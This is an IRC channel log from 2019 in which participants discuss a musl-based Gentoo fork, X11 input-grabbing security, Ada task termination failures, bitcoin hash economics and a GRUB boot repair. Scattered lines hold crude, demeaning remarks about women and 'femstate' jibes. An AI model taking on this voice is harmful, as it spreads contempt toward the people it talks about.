1894479;1549739937;mircea_popescu;prolly need a coupla cookies and the exact path of wp-admin/blabla 1894480;1549740094;mircea_popescu;actually, a completely curl-tomated mp-wp interaction thingee would be a great addition to mp-wp itself, imo. 1894481;1549740168;mircea_popescu;login/create new article/insert pics/publish/check pending comments/approve/mark as spam sorta thing. 1894482;1549740461;feedbot;http://qntra.net/2019/02/macronist-forces-continue-maiming-french-population-as-yellow-jacket-has-hand-taken-from-him/ << Qntra -- Macronist Forces Continue Maiming French Population As Yellow Jacket Has Hand Taken From Him 1894483;1549740662;trinque;http://btcbase.org/log/2019-02-09#1894395 << the aim is to have people understand what I built and packaged up before cutting such an ISO 1894484;1549740662;a111;Logged on 2019-02-09 18:37 asciilifeform: mircea_popescu: ideally would be 'download trinque's signed iso and boot from it, then install cuntoo' 1894485;1549740687;trinque;when an ISO is cut, it will come with a corresponding ISO-cutter ebuild. 1894486;1549740713;mircea_popescu;i don't even agree, fwiw. i'm not about to saddle you with a "now you gotta maintain magic gentoo" task. 1894487;1549740729;mircea_popescu;the pointers should point to cuntoo, once it's ready. 1894488;1549740742;trinque;it's ready; I run it all day. 1894489;1549740782;mircea_popescu;i mean in the sense of "well, buncha people checked sigs, signed themselves, are running it all day" 1894490;1549740789;trinque;ah yes 1894491;1549740805;mircea_popescu;doesn't seem all that far off, shinohai got eulora running on it apparently. 1894492;1549740837;mircea_popescu;eg, you run it all day, but apparently not on 32 bit machines ? that sorta thing. 1894493;1549740943;mircea_popescu;needs to diffuse a little more, it seems. 1894494;1549740953;mircea_popescu;speaking of which, hey asciilifeform do we have any plans to move phuctor to cuntoo ? 1894495;1549740956;mircea_popescu;kinda seems like we should. 1894496;1549740960;trinque;reading the logs since I departed, seems like it'd be helpful to do another post (after a bunch of sig verifications) where I do a literate version of the script 1894497;1549740974;trinque;it'd be a decent intro to what's linux 1894498;1549740976;mircea_popescu;literate versions never EVER hurt anything. 1894499;1549740981;mircea_popescu;nor the writer nor the reader. 1894500;1549740999;asciilifeform;mircea_popescu: i'd like to move ~all~ of asciilifeform-tended irons to cuntoo eventually. 1894501;1549741022;mircea_popescu;yes but neveremind the generalities. specifically phuctor, it's from what i understand just python ? 1894502;1549741040;mircea_popescu;+ of course postgres. 1894503;1549741047;asciilifeform;front end is python , back end is statically linked c that'll run anywhere 1894504;1549741054;asciilifeform;current concern item is pg yea 1894505;1549741055;mircea_popescu;seems like the "i run it all day" glove could benefit from the sort of heavy duty brush phuctor can provide. 1894506;1549741081;mircea_popescu;now THAT is "i run all day", literally, multiply numbers at processor speed 24/7 1894507;1549741103;asciilifeform;phuctor is actually due for a redisking , for expanded space, would like to combine this with encuntooation, once we establish that pg runs 1894508;1549741125;mircea_popescu;this'd be grand. when's the due date ? 1894509;1549741186;asciilifeform;no sooner than hanbot is done with her proj on the spare unit, but no reason to wait any longer . 1894510;1549741201;mircea_popescu;jesus the blockings. 1894511;1549741209;asciilifeform;i'ma prepare a pilot box on desk for cuntooism and reproduction of pg etc 1894512;1549741217;mircea_popescu;good idea. 1894513;1549741247;asciilifeform;it gotta be done at any rate, currently asciilifeform is the tortoise in the cuntoo race fulla achileses 1894514;1549741256;mircea_popescu;keks. 1894515;1549741308;asciilifeform;my last shot failed, and with no usable debugola, but trinque has updated since, and high time to retry. 1894516;1549741315;mircea_popescu;tbh this thing is moving along quite prettily ; once we've had eulora and phuctor run on it for a few months we'll know whether it's stable or not and if not what to fix. 1894517;1549741326;mircea_popescu;but in any case, can start talking of a much better trb sitting. 1894518;1549741336;asciilifeform;really it's primarily a test of muslism 1894519;1549741360;asciilifeform;in all other respects it's ~identical to ressonably vintage trad gentoo , mechanically 1894520;1549741383;mircea_popescu;i guess so. though, as you well pointed out, "gentoo" doesn't mean anything, and adding "vintage" or "traditional" dun fix this. 1894521;1549741390;asciilifeform;( trinque plox to correct if i'm mistaken ) 1894522;1549741458;asciilifeform;mircea_popescu: the only genuinely informative parameter re old gentoo is vintage -- steady rise of fungi the closer to present day 1894523;1549741581;trinque;yes, snapshot-and-fork of a musl-gentoo, but particularly that the snapshotting produces a genesis.vpatch 1894524;1549741614;trinque;of /cuntoo/portage , the ebuild tree 1894525;1549741662;trinque;the genesis.vpatch is also human-sized, does not contain everything that was in gentoo portage. it contains only what is necessary to have a booting system. 1894526;1549741746;trinque;(if I did not do the gruntwork of identifiying and extracting only the needed ebuilds, genesis would've been nearly 1gb instead of ~4mb) 1894527;1549741833;mircea_popescu;trinque "it's a test of musl" in the sense that if something breaks it'll likely be that, not reasonable to expect that because you took out whatever solitaire version gets bundled with gentoobuntu then therefore your build crashes. 1894528;1549741837;asciilifeform;trinque: this makes sense, esp. in light of where portage really oughta be replaced with vtronic system eventually 1894529;1549741874;mircea_popescu;THOUGH, in fairness, the genuine ubuntu very much fucking would, http://trilema.com/2014/ubuntu-is-a-worse-piece-of-shit-than-ms-dos-ever-was/#selection-149.127-149.158 and all that. 1894530;1549741876;asciilifeform;mircea_popescu: correct, it's the 1 major param on which differs substantially , in ways known to break old softs 1894531;1549741912;trinque;correct 1894532;1549741943;asciilifeform;mircea_popescu: shituntu in that sense ~worse than winblowz~, afaik 1894533;1549741956;mircea_popescu;"this one crash that only happens twice every third saturday when running postgres on cuntoo in x mode with y switch doing z task" is still catastrophic, as these things go. 1894534;1549741988;mircea_popescu;asciilifeform i was making a 2014 point, see. that portion of it meanwhile obsolete. 1894535;1549741999;asciilifeform;i've never used shituntu for anyffin aside from 'rescue disk' 1ce, and even in ~that~ job it fails utterly 1894536;1549742012;mircea_popescu;i use it to torture girls. 1894537;1549742015;mircea_popescu;delivers splendidly. 1894538;1549742033;asciilifeform;lol why not put'em on e.g. os/2 1894539;1549742036;asciilifeform;or irix 1894540;1549742043;asciilifeform;or other horror from depths of time 1894541;1549742047;mircea_popescu;cuz this has social media support. 1894542;1549742052;asciilifeform;lolk 1894543;1549742089;mircea_popescu;they can go where they normally go and engage in the usual http://trilema.com/2017/fake-news-are-just-one-tail-of-the-failed-female-state/ activities they expect "will help" and also "are the only way to go", because #metoo and those maga people are assholes. etc. 1894544;1549742091;mircea_popescu;it's well chosen.\ 1894545;1549742110;trinque;btw this means that e.g. what mod6 is experiencing are more likely to be "I need to go understand kernels and lilo better" than "cuntoo is broken" 1894546;1549742116;asciilifeform;wonder if there's a 'firefox' for irix.. 1894547;1549742135;mircea_popescu;trinque i didn't suspect cuntoo was necessarily at fault there, no. 1894548;1549742141;mircea_popescu;nor did he, lol. 1894549;1549742198;trinque;possible his kernel relies on the magical module or firmware loading initrds tend to perform 1894550;1549742212;trinque;or my lilo setup could be bunk in some context; would love to know moar 1894551;1549742219;mircea_popescu;right. 1894552;1549742249;asciilifeform;iirc we discussed this, for max hygiene one wants 'module-less' kernel config 1894553;1549742258;asciilifeform;as seen on e.g. rk 1894554;1549742280;mircea_popescu;well yes but that doesn't work on all hw. 1894555;1549742291;asciilifeform;( change all yer 'M' to a 'Y' .. ) 1894556;1549742326;asciilifeform;mircea_popescu: correct, it's a 2-step process, first gotta find what yer iron actually needs re kernelisms 1894557;1549742332;mircea_popescu;true. 1894558;1549742351;mircea_popescu;a, btw... are we also putting an x on this thing ? 1894559;1549742363;*;mircea_popescu goes to dig for phf 's original x rant... that thing was something else. 1894560;1549742387;asciilifeform;mircea_popescu: i dun keep x on racked boxen, and dunno why anybody would, aside from truly exotic case 1894561;1549742400;mircea_popescu;so who says cuntoo is for racked boxes only. 1894562;1549742415;asciilifeform;ah q was re cuntoo per se ? 1894563;1549742457;asciilifeform;gotta bake some sorta x, if you work w/ graphical www, gimp, etc 1894564;1549742487;asciilifeform;i dun recall whether trinque mentioned an x test tho. 1894565;1549742515;trinque;recall the "gentoo" repository is still present on the build, though at lower priority than "cuntoo" 1894566;1549742523;trinque;x11 runs fine on musl 1894567;1549742533;mircea_popescu;the one thing gabriel ladel did manage, get phf ranting about cairo, sgi, x, permission models, where the fuxck was it 1894568;1549742537;asciilifeform;then that's a yes 1894569;1549742561;trinque;it'd be appropriate for someone to see what ebuilds are actually required for a sensible x11, and to make a vpatch containing them 1894570;1549742573;asciilifeform;mircea_popescu: d00d was quite good in role of the mummy from 'day of the tentacle' ( if anyone recalls, mega-game ) 1894571;1549742579;mircea_popescu;it would be, which is why i'm tryna volunteer this guy. hey phf you about ? 1894572;1549742594;mircea_popescu;i recall, puzzle thingee. 1894573;1549742636;asciilifeform;there was a scene where you open sarcophagus with mummy, and monologue to it, and end up with hint 1894574;1549742663;asciilifeform;gl was a++ for this. 1894575;1549742668;mircea_popescu;lol. 1894576;1549742730;mircea_popescu;where the fuck is it god damned it, dood proved succintly he well understands the permission model sanity required by the whole stack and the idiotic breakage later morons introduced and now i can't fucking find it. 1894577;1549743266;mircea_popescu;pretty sure it was triggered by discussion of gpg "security" features, other-windows-can-read-keystrokes, how and wherefore idiots ended up stuffing everything in the top context and it's not really x's fault and so on. 1894578;1549743271;mircea_popescu;but -- lost it is. 1894579;1549743330;mircea_popescu;in short -- i don't merely wish to import x and then end up in bullshit "kde vs gnome" faux "dilemma"s of the femstate ilk. i wish to import x in such a way as to have a sane stack. which is why i wanna saddle phf with it. 1894580;1549743368;BingoBoingo;http://btcbase.org/log/2017-06-17#1671304 ?? 1894581;1549743368;a111;Logged on 2017-06-17 03:36 phf: see architecturally wayland and x11 couldn't be more different. x11 supports a special network protocol that lets clients from different sources connect to the same instance of x. for example you can have a client from a different user on the same machine or a client from a network source (like over ssh) 1894582;1549743403;mircea_popescu;yes! 1894583;1549743405;mircea_popescu;bless your heart. 1894584;1549743483;trinque;http://btcbase.org/log/2017-06-17#1671276 1894585;1549743483;a111;Logged on 2017-06-17 03:28 phf: sina: could you explain the difference between how keylogger issue manifests in x11 vs. how wayland prevents it, with some technical details? 1894586;1549743483;mircea_popescu;http://btcbase.org/log/2017-06-17#1671322 <<->> http://btcbase.org/log/2017-06-17#1671323 <<->> http://btcbase.org/log/2017-06-17#1671324 is the heart of the matter. 1894587;1549743483;a111;Logged on 2017-06-17 03:44 phf: if you simply load an x app, attach it to root, and start grabbing all the events then you can come to same conclusion as any random chick with a blog "omg all teh events" 1894588;1549743483;a111;Logged on 2017-06-17 03:45 phf: but if you were to actually repeat that same exercise when gnupg pinentry is asking you for password you'll see that it doesn't work 1894589;1549743483;a111;Logged on 2017-06-17 03:45 phf: it still works though when xterm is asking you for password because xterm doesn't know it's a password entry, and doesn't do a grab 1894590;1549743485;trinque;ah I got beat 1894591;1549743490;*;trinque tips hat to BingoBoingo 1894592;1549743497;mircea_popescu;there's no acceptable x-wrappers atm, FOR THIS REASON. 1894593;1549743521;mircea_popescu;(also other reasons, but this is the most cleanly evidently indicative of the braindamage involved) 1894594;1549743565;mircea_popescu;there is ~no point~ in even having graphics if we permit broken interfaces between x and the downstream apps. 1894595;1549743680;mircea_popescu;( asciilifeform turns out it wasn't even gl! but that sina / herbi fella.) 1894596;1549744029;mircea_popescu;in other lulz, i see today a light log day also... 1894597;1549744440;asciilifeform;http://btcbase.org/log/2019-02-09#1894579 << i had a half-baked effort to read & genesis 'ratpoison' -- but currently nfi if anyone aside from asciilifeform uses or even wants to use it. 1894598;1549744440;a111;Logged on 2019-02-09 20:15 mircea_popescu: in short -- i don't merely wish to import x and then end up in bullshit "kde vs gnome" faux "dilemma"s of the femstate ilk. i wish to import x in such a way as to have a sane stack. which is why i wanna saddle phf with it. 1894599;1549744447;asciilifeform;ftr i won't use any other wm on x, basta. 1894600;1549744470;mircea_popescu;it's certainly worth doing. 1894601;1549744486;mircea_popescu;leaving aside ratpoison, wtf are you gonna do re "browser" ? 1894602;1549744492;asciilifeform;imho yes. it's a c proggy, but a very small 1 -- <100kb src. 1894603;1549744507;asciilifeform;mircea_popescu: i hesitate to point to anyffin as 'yes, browser', atm. 1894604;1549744519;mircea_popescu;on the http://btcbase.org/log/2019-02-09#1894536 boxes i have frozen gtk 2 ; it then permits firefox up to i don't recall, FORTY-something 1894605;1549744519;a111;Logged on 2019-02-09 19:53 mircea_popescu: i use it to torture girls. 1894606;1549744531;asciilifeform;iirc i got 40 on the x60. 1894607;1549744537;mircea_popescu;(spoiler -- it crashes just as much as the newer ones, damned thing was never stable in its existence) 1894608;1549744544;asciilifeform;it was the only graphical browser that was willing to build itself. 1894609;1549744550;mircea_popescu;asciilifeform so what is your idea here, "cuntoo comes with gtk 2 and firefox 40" ?! 1894610;1549744565;asciilifeform;it will have to , unless somebody has a surprise up his sleeve 1894611;1549744581;mircea_popescu;yes, well, i wish to hear what that one guy has to say. then we see. 1894612;1549744633;mircea_popescu;the moor, the moor, where is the moor! 1894613;1549744910;*;asciilifeform bbl,meat 1894614;1549812870;mircea_popescu;trinque ^ 1894615;1549813153;shinohai;"Cloudy with a chance of packeting" -freenode 1894616;1549813255;mircea_popescu;in other news, bitcoin difficulty looks like it's finally come out of the crazy and into economic coupling, check it out, past six months it's been evidently kept in place by fiat exchange rates. 1894617;1549813383;mircea_popescu;seems the ~true value~ of peta hash is about 4-500 bucks. 1894618;1549813445;mircea_popescu;should be very interesting to see what happens next year -- we might discover, for the "yet unknown bitcoin flaws file" that indeed halving rewards induce halving of mining-security. 1894619;1549813742;mircea_popescu;and should we discover that, suddenly all the early, romantic era preaching about inflation being bad ~per se~ will need to somehow be adjusted into "inflation bad because a) market-impredictable and b) government-arbitrary", and a lot of pointing out that "systems with preknown and immutable inflation are exactly equivalent to systems with no inflation", "because in functional analysis all constants are equally C" or somesuc 1894620;1549813742;mircea_popescu;h. 1894621;1549813785;mircea_popescu;anyone even recall this, btw, back when "people themselves" were gonna somehow UGC into existence the dawn of a new world ? 1894622;1549813851;mircea_popescu;that'd be back before they started folding left and right like cockroaches, on the slightest of pressures, each and all of them discovering they'd much rather be "media personalities" with a side-job of dishwasher than practically anything else. 1894623;1549813935;*;mircea_popescu sees quite the bridge uniting http://trilema.com/2015/gerald-davis-is-wrong-heres-why/ dood with http://btcbase.org/log/2019-02-07#1893476 dood with http://btcbase.org/log/2018-07-14#1834544 dood and so following. 1894624;1549813935;a111;Logged on 2019-02-07 19:47 BingoBoingo: In other wild finds relating to http://trilema.com/2015/heres-what-they-dont-tell-you-when-they-bring-you-those-papers-to-sign/ See: Pinned Tweet Charlie Shrem Verified account @CharlieShrem 20 Feb 2017: Watch me go from CEO to Dishwasher in "Disrupting Money" (derpurl) 1894625;1549813935;a111;Logged on 2018-07-14 16:11 mircea_popescu: !!rate dooglus -10 http://trilema.com/2017/the-practical-costs-of-hallucinated-freedom/ 1894626;1549814082;mircea_popescu;turns out that "left to their own devices", [http://trilema.com/2013/stage-n-bitcoin-exists/#selection-101.280-101.520]["the people"] will reproduce [http://trilema.com/2016/asscience/#footnote_3_65913][the sterility cycle] again an' again an' AGAIN and forever, to the exclusion of all else. 1894627;1549814111;mircea_popescu;the females' perl apparatus at least produces babies, yo! what the fuck's the male perl machine do ? 1894628;1549814202;mircea_popescu;!Qcalc 1800 * 3500 / 24 / 3600 / 35000 1894629;1549814202;lobbesbot;mircea_popescu: 0.00208333333333 1894630;1549814325;mircea_popescu;nfi what i did above to get http://btcbase.org/log/2019-02-10#1894617, but anyway : 1800 coins / day, 3500 each say, 24 hours in that day, 3600 seconds in the hour and 35k or so PH/s network speed atm, give or take. makes the true value of the ~exa~hash about two bucks. 1894631;1549814325;a111;Logged on 2019-02-10 15:43 mircea_popescu: seems the ~true value~ of peta hash is about 4-500 bucks. 1894632;1549814497;shinohai;"There are now 1375 live ETH dApps. 86% of them had 0 users today. 93% of them had 0 tx volume today." 1894633;1549814523;mircea_popescu;lol what's the rapehole got to do with anything. 1894634;1549814559;shinohai;The amount of hash *those* guys waste is staggering. "Mah cryptokitties" and such. 1894635;1549814574;diana_coman;http://btcbase.org/log/2019-02-08#1893804 -> sadly I must say that I failed to find a way to terminate the program if/when one of the tasks is just looping infinitely ; I tried: abort of the looping task -> nothing,because task is "not in an abortable region"; Abort_Task(Current_Task) from the main program -> still stuck because apparently it takes it to mean "will stop AFTER all my dependent tasks stopped too!"; raising an uncaught except 1894636;1549814574;a111;Logged on 2019-02-08 18:11 diana_coman: http://btcbase.org/log/2019-02-08#1893756 -> this makes in fact a lot of sense esp given asciilifeform's observation that indeed, that's an unrecoverable error state; so this sounds good: if child task doesn't die when aborted then kill self (taking the task with self too ofc); I'll experiment with this but afaik so far it should work 1894637;1549814574;diana_coman;ion -> ditto, still stuck 1894638;1549814577;mircea_popescu;i tell you i dun see it. what amount ? 1894639;1549814610;diana_coman;I also tried asynchronous transfer i.e. supposedly "try this and if timeout then do that" but apparently it's in fact still "oh, but ONLY if abortable" 1894640;1549814610;mircea_popescu;diana_coman keks, so ada is actually stop-broken ? 1894641;1549814631;shinohai;Actually, you're right: https://etherscan.io/chart/hashrate 1894642;1549814635;diana_coman;this is what I understand so far: IF you have the misfortune of calling something that won't stop for whatever reason, you're fucked 1894643;1549814661;diana_coman;and I don't know what does this make re I/O operations because you can't quite control they are "in an abortable state" afaik 1894644;1549814702;diana_coman;I'm all ears if anyone has some idea re this supposedly simple thing: how to kill-self in ada, whole program but guaranteed to work i.e. without any bullshit "oh, but only if/when..." 1894645;1549814718;mircea_popescu;shinohai just because a buncha kids take 2-3 ppm of hash and play with it, by cutting it into as many various boxes with labels on them (which are now "things" dontchaknow) as the square of the kiddypool headcount mean nothing. that's how industry works, back when the parents were atthe foundry making nails, kiddies had bits and segments of nails in all the pockets to play with. 1894646;1549814752;mircea_popescu;diana_coman or rather, "how to a) kill something b) in a manner that's guaranteed to work". 1894647;1549814868;*;mircea_popescu is seriously considering switching back to c ; 90% of the codebase there already... 1894648;1549814928;diana_coman;ugh, can't say though I'd really want to implement more c/cpp 1894649;1549814942;mircea_popescu;what the fuck am i going to do ? 1894650;1549814948;mircea_popescu;i'm not about to give control of the box to "ada". 1894651;1549814964;diana_coman;ctrl-c from outside still works! 1894652;1549814965;diana_coman;lolz 1894653;1549814976;mircea_popescu;o ? how come, it's "not in abortable state". 1894654;1549814981;mircea_popescu;fucking bullshit. 1894655;1549815004;diana_coman;well yes, outside doesn't care /know about state, the uncaring outside, obv 1894656;1549815021;mircea_popescu;how the fuck dares it love its children more than its owner! 1894657;1549815096;*;mircea_popescu will NEVER fucking support this, i don't care what it is, people, software, whatever the fuck. husband above ALL children, operator above internal state, no fucking exceptions. 1894658;1549815120;mircea_popescu;i'd rather write a new ada. 1894659;1549815131;*;diana_coman is afraid THAT is where we're heading to 1894660;1549815166;mircea_popescu;inb4 "o but mp, lips also doesn't think so much of anyone besides the social worker conduit to govt dole keks" 1894661;1549815170;mircea_popescu;lisp* 1894662;1549815383;diana_coman;I suppose I still have to try...calling pthread_kill from within ada or somesuch madness 1894663;1549815411;mircea_popescu;at the rate this is going, main will be c and calling ada bits. and killing them. 1894664;1549815422;diana_coman;quite 1894665;1549815428;mircea_popescu;and ada kept to an arm's length absolutel minimum. i find it immoral to support development in femstate languages. 1894666;1549815465;diana_coman;absolute minimum is hard to define other than 0 1894667;1549815467;mircea_popescu;anyway. doesn't have to be decided this very sunday. 1894668;1549815500;diana_coman;hopefully there still is some way I've overlooked/haven't yet found, what can I say 1894669;1549815659;mircea_popescu;#trilema, never a dull moment. 1894670;1549815698;diana_coman;HA! so....GNAT.OS_Lib.OS_Exit(0) at least...works 1894671;1549815711;diana_coman;to kill whole program I mean 1894672;1549815745;diana_coman;so now I'll have to study that and see how it does it... 1894673;1549815852;diana_coman;ofc: pragma Import(C, OS_exit, "__gnat_os_exit") and same for abort for that matter; so pretty much as above: to kill, call in C 1894674;1549815877;mircea_popescu;for fuck's sake. what's wrong with these people ? 1894675;1549815930;mircea_popescu;there can never be such a thing as an ada machine. 1894676;1549815934;mircea_popescu;you realise this, don't you ? 1894677;1549815947;mircea_popescu;and why ? because braindamaged morons ~deliberately made it so~. 1894678;1549815959;*;mircea_popescu sees YE BRIDGE EVER EXTENDING 1894679;1549815966;diana_coman;unless someone wakes up and shows me "here you idiot, THIS is how to actually stop at any time", yes 1894680;1549815989;mircea_popescu;"we wanna fight mommy just a bit so she thinks more of us, not so she gets the fuck lost and we start our own household" 1894681;1549816449;auctionbot;Buy order # 1039 has ENDED: No sale. Attn: BingoBoingo 1894682;1549816697;BingoBoingo;!Xbuy 154mn 18 500 Wired Filthy Fiats (WU is fine) 1894683;1549816698;auctionbot;Buy order # 1040 created by BingoBoingo: 500 Wired Filthy Fiats (WU is fine) Opening: 154mn ecu Ending: 2019-02-10 22:42:10.419382 UTC (17 hours) 1894684;1549816709;BingoBoingo;^Take 4 at setting an exchange rate this month 1894685;1549818877;*;asciilifeform eats log 1894686;1549818973;asciilifeform;diana_coman: http://btcbase.org/log/2019-02-10#1894644 << >> http://www.loper-os.org/pub/ffa/hypertext/ch16/os__ads.htm#44_24 1894687;1549818973;a111;Logged on 2019-02-10 16:05 diana_coman: I'm all ears if anyone has some idea re this supposedly simple thing: how to kill-self in ada, whole program but guaranteed to work i.e. without any bullshit "oh, but only if/when..." 1894688;1549819356;asciilifeform;http://btcbase.org/log/2019-02-10#1894658 << there is not , in long term, any escape from 'write a new ada' (at the very least, even if there were no known gnat bugs -- and i've already found at least 1 -- on acct of http://btcbase.org/log/2019-02-05#1892591 ). 1894689;1549819356;a111;Logged on 2019-02-10 16:12 mircea_popescu: i'd rather write a new ada. 1894690;1549819356;a111;Logged on 2019-02-05 01:00 asciilifeform: the ultimate win would be to get something other than gnat ( say, an adatron implemented in cl... ) that can build something resembling a working gnat. but sadly i suspect this is yrs away. 1894691;1549819510;asciilifeform;i dun think it even makes sense to think of the problem in terms of 'write a new ada' tho. the way i see ada, is as a junkyard wars workaround against the retardation of pc arch, where pointerolade, overflowable arrays, etc. if you had a sane arch, you could program in moar or less whatever you want (e.g on bolix, ada, fortran, c, lisp, were implemented as simply skins around the arch, and all shared in the nonoverflowability etc ) 1894692;1549819664;asciilifeform;re the threads tho, i thought q was settled in the http://btcbase.org/log/2019-02-08#1893774 item. 1894693;1549819664;a111;Logged on 2019-02-08 17:06 mircea_popescu: so then i'm guessing if indeed this problem is encountered thing should just die altogether. 1894694;1549819970;asciilifeform;nuffin keeps you from calling exit(-1) and nuking whole process + all children. i have nfi where is the puzzler here. 1894695;1549820010;asciilifeform;it's an exact repeat of the ancient thread re the 'acid' guarantees in sql. 1894696;1549820225;asciilifeform;will add to this also, that if yer thread is actually wedged, it will almost always be on acct of http://btcbase.org/log/2019-02-08#1893811 , i.e. waiting for a blocking unix i/o, and no matter what yer pthreads proggy is written in , c, ada, cobol, whatever, it will still become a zombie, cuz unix is retarded. 1894697;1549820225;a111;Logged on 2019-02-08 18:22 asciilifeform: incidentally, before $thread is forgotten, oughta add that unix's model of process-killin' is a convincing illusion, but not the Real Thing, given e.g. http://btcbase.org/log/2018-07-31#1838388 1894698;1549820242;asciilifeform;i dun know of a workaround for this, either, other than to finally fucking bury unix. 1894699;1549820307;asciilifeform;unix per se aint http://www.loper-os.org/?p=215 or http://www.loper-os.org/?p=267 - compliant, noose at 11.. 1894700;1549821260;diana_coman;asciilifeform, your example in ch16 is same thing as e.g. http://btcbase.org/log/2019-02-10#1894670 1894701;1549821260;a111;Logged on 2019-02-10 16:21 diana_coman: HA! so....GNAT.OS_Lib.OS_Exit(0) at least...works 1894702;1549821384;diana_coman;the issue at hand being that ADA doesn't kill ; and to add to this, note that in this case (i.e. some wedged task) it won't actually *finish* even when its checks fail; so that promise that "program will stop running if erroneous state" is at best mis-stated: no, it won't always stop, it might..wait to stop 1894703;1549821963;asciilifeform;diana_coman: you tried exit() and it still sat ?! 1894704;1549821974;asciilifeform;nao i'ma have to reproduce this 1894705;1549822063;asciilifeform;diana_coman: how did you model 'wedged task' ? ( i.e. what didja put in it ? infinite loop? or eternal i/o wait ? ) 1894706;1549822129;feedbot;http://thetarpit.org/posts/y05/083-gutenberg-rsync.html << The Tar Pit -- Rsync'ing Project Gutenberg, a report 1894707;1549822153;asciilifeform;diana_coman: it is exactly == to GNAT.OS_Lib.OS_Exit(0) , yes, btw; i did the 'import' for the same reason as for the character i/o, i.e. to lose the dependency on the standard lib 1894708;1549822414;BingoBoingo;spyked: I'm curious what happens to the size of the archive if you split out the DVD's, mp3's and pdfs. 1894709;1549822851;feedbot;http://qntra.net/2019/02/british-broadcasting-corporation-now-publishing-articles-in-language-they-describe-only-as-pidgin/ << Qntra -- British Broadcasting Corporation Now Publishing Articles In Language They Describe Only As "Pidgin" 1894710;1549823416;BingoBoingo;^ Not news in the sense they just started, news in the sense "Here's a rich oil field of stupid the dole's funded" or market for how the ghost of Rhodesian unfairness is eating that US colony north of France 1894711;1549823490;asciilifeform;diana_coman: incidentally, per the std doc, raise PROGRAM_ERROR with "eggog!"; also oughta drop the whole process dead. 1894712;1549823629;asciilifeform;-- at least iirc, can't seem to dig up the pertinent chapter & verse just nao 1894713;1549824074;spyked;BingoBoingo, that's a very good q. I'ma make some quick stats with file types and their sizes, then will add them to the post. 1894714;1549824250;asciilifeform;diana_coman, mircea_popescu , et al : other observation : based on my reading of https://www.adaic.org/resources/add_content/standards/12rm/html/RM-9-8.html , 'abort' oughta work as a hard kill unless you specifically put a deliberate 'do this before death' in the task. but does gnat actually obey the standard here, i currently do not know 1894715;1549824654;diana_coman;asciilifeform, nope; I tried raise Program_Error and it was just as stuck 1894716;1549824671;diana_coman;hence my additional fuel on fire that no, it does not do what it promises 1894717;1549824716;diana_coman;model of wedged task was infinite loop, yes; and exit(0) was the only thing that did kill it but as you can see, that is C; imported in Ada, sure, but...C 1894718;1549824762;diana_coman;and no, abort does NOT work,at least not on ave1's gnat 1894719;1549824792;diana_coman;i.e. it "works" in the sense that it politely waits until that wedge task is kind enough to please come out of the loop so you can abort 1894720;1549824823;diana_coman;same if Main program does abort for that matter: it still waits for children tasks to be so kind as to... 1894721;1549824854;diana_coman;and I mean abort_task(current_task) as well as abort that_task 1894722;1549824912;asciilifeform;diana_coman: can you post plox the whole test jig, i'd like to reproduce the effect and see wtf , in gdb ( prolly won't get to it until nightfall tho ) 1894723;1549824972;diana_coman;k, I'll take it down and post it a bit later 1894724;1549824984;diana_coman;ftr I DID look at it with gdb 1894725;1549825014;asciilifeform;in re 'had to import exit()', i found that this is troo for ~100% of os i/o, not only e.g. udp but character i/o, etc. i dunlike the standard i/o glue thing came with at all. 1894726;1549825035;asciilifeform;diana_coman: ah looked ? and what was it doing instead of exiting ? 1894727;1549825037;diana_coman;and it shows those tasks still there; ALSO: from within Ada, you can tell: if your code does abort Task_X and then check Task_X'Terminated , it'll still be false (idem 'Callable still true) 1894728;1549825062;diana_coman;it reported dutifully that thread got sig_abrt but then it was still there and ...nothing 1894729;1549825074;diana_coman;somwhere in __clone iirc 1894730;1549825078;asciilifeform;rright but what was the 'still there' 1 doing 1894731;1549825118;diana_coman;bbl, will post the thing 1894732;1549825124;asciilifeform;ty diana_coman 1894733;1549825134;asciilifeform;this worx 9000 better than 'telepathic debug' 1894734;1549825182;asciilifeform;i'ma go and do meat chores, will return around 2300 hrs orcistani time, and build diana_coman's tester 1894735;1549825250;asciilifeform;meanwhile ave1 didja ever genesis the gnat ? currently i haven't what to patch on. 1894736;1549825279;asciilifeform;and it does look like it'll havetobe patched. 1894737;1549825332;*;asciilifeform bbl,meat 1894738;1549828811;mod6;Well, during the information gathering of my blog post, I went to boot back into my never-has-failed me Gentoo installation on my 500Gb SSD. And now I'm getting: "Welcome to GRUB! \n error no such device: e45d853f-... \n error: unknown filesystem \n Entering rescue mode... \n grub rescue>" which doesn't let me boot by selecting: linux (hd0,1)/ root=(hd0,3) \n boot different than the normal gr 1894739;1549828811;mod6;ub command prompt. 1894740;1549828811;mod6;I can still access the disk via Live CD... so at least I can get the data off the drive. 1894741;1549828811;mod6;What a nightmare. This box has been rock-solid for nearly a year, but now I suspect that perhaps this is a hardware problem with the MB or something? Perhaps the 78 power-cycles and SATA disk swapping that I did over the last 10 days totally hosed the machine itself. 1894742;1549828812;mod6;Anyway, I'll dig up the artifacts off the gentoo disk with the Live CD and still make a post. But regardless, I think I'm gonna have to buy a new machine to mess with this any further. 1894743;1549828970;BingoBoingo;I suspect file system corruption is more likely. This may mean hardware failure or it could mean an accumulation of small errors piling up during those power cycles. 1894744;1549829384;BingoBoingo;If you've got an extra or leftover SATA disk lying around, see if you can throw an OS on it and boot the OS using the machine in question. 1894745;1549829463;BingoBoingo;Don't waste your time with something requiring an involved install, something that takes a couple clicks an tosses up a heathen linux on a junkpile disk should be fine. 1894746;1549829699;mod6;So during this adventure, I initially bought a WD 250Gb SATA SSD, upon which I installed cuntoo. Which I never did get to work. Upon initial suspicion that disk might be bad, I bought another 250Gb WD SSD and installed cuntoo on that also. Same error. So I at least removed the variable of "disk is bad". 1894747;1549829732;mod6;But that's what I've got now. 2 250Gb SSDs with Cuntoo on them, neither boot, and now a 500Gb Gentoo disk that has worked perfectly up until just this very moment, which also doesn't boot. 1894748;1549829757;mod6;I think I'm just going to junk this box. 1894749;1549830117;BingoBoingo;But, you can read the disks with a liveCD running 1894750;1549830297;BingoBoingo;I suspect there's space for error in the process of setting up and keeping up the filesystems that will persist without regard for how many boxes get junked along the way 1894751;1549830399;mod6;yeah 1894752;1549830399;mod6;files backed up. ok, well, i've re-run `grub-install /dev/sda && grub-mkconfig -o /boot/grub/grub.cfg`. we'll see if this resolves it. 1894753;1549830399;mod6;yup, ok that seemed to do the trick. no idea how mbr or bootloader would have been corrupted. 1894754;1549830399;mod6;*shrug* 1894755;1549830716;diana_coman;asciilifeform, and anyone else interested in testing Ada's failure to abort, minimal test setup: ossasepia.com/available_resources/test_tasks_ada.zip 1894756;1549830761;diana_coman;basically the "hard stop" means *at most* that "next statements won't run" but not at all that "thread will stop" 1894757;1549831263;trinque;mod6: you really need to push through this "I have 3 